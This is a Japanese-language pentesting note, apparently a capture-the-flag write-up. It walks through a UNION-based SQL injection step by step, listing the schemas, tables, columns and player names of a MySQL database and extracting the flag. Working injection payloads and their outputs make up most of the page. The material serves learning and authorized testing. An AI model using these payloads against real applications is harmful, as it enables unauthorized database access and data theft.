> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).
# SQLi UNION インジェクション
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi UNION インジェクションメモ。
Burp Suite でリクエストを傍受し、変数を変更します `プレイヤー`:
```sql
jordan' union select database()-- -
```
データベース名は `november`.
すべてのデータベースを一覧表示するには：
```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```
結果: `mysql,information_schema,performance_schema,sys, november`
〜のテーブルを一覧表示する `november`:
```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```
そのテーブルの列を一覧表示する `players`:
```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```
見つかった列: `プレイヤー`
**ユーザーデータの抽出**
```sql
jordan' union select group_concat(player,':') from players-- -
```
見つかったプレイヤー： `ippsec,celesian,big0us,luska,tinyboy`
フラグの抽出：
```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```
```sql
jordan' union select group_concat(one,':') from flag-- -
```
* 見つかったフラグ： `UHC{F1rst_5tep_2_Qualify}`
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